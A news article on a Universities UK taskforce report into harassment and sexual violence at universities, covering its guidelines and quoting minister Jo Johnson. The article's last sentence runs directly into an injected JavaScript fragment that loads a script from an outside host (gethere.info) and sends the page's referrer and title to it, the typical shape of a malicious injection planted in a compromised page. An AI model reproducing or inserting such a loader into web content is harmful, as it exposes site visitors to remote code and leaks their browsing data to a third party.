By Natalie Barton
On Friday 21st October, Universities UK published a report looking into harassment in universities including incidents of harassment and violence against women.
The report was the result of a request by the government to have a task force put in place to look into these issues, this was the first time this group of people had worked together regarding such an issue.
The task force consisted of university leaders, student representatives and academic experts. While the group considered harassment in all its forms but focused particu-larly on issues of sexual violence and harassment.
They have now created a set of guidelines for universities to follow to allow them to better support their students and to prevent any cases of harassment or violence on their campuses. These guidelines include; ‘creating an environment which encourages people to speak out’, ‘driving cultural change through senior leadership’ and ‘em-powering students to own the agenda’.
As well as student-to-student cases, the taskforce also uncovered evidence of staff-to-student sexual harassment, it was concluded that this was an important issue that had to be addressed.
Universities UK will work together with universities, their students and relevant groups to decide what measures have to be taken to prevent these issues growing and continuing.
Universities Minister Jo Johnson said ‘Any form of harassment or abuse is unac-ceptable and must not be tolerated. That is why we asked Universities UK to under-take this important piece of work to see what more could be done to tackle and pre-vent harassment on campus
‘We must now ensure that the work this taskforce has done goes onto make a real dif-ference to students across the country. So I have asked UUK to survey progress in six month and make sure universities are doing all they can to protect the safety and secu-rity of their students.’s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
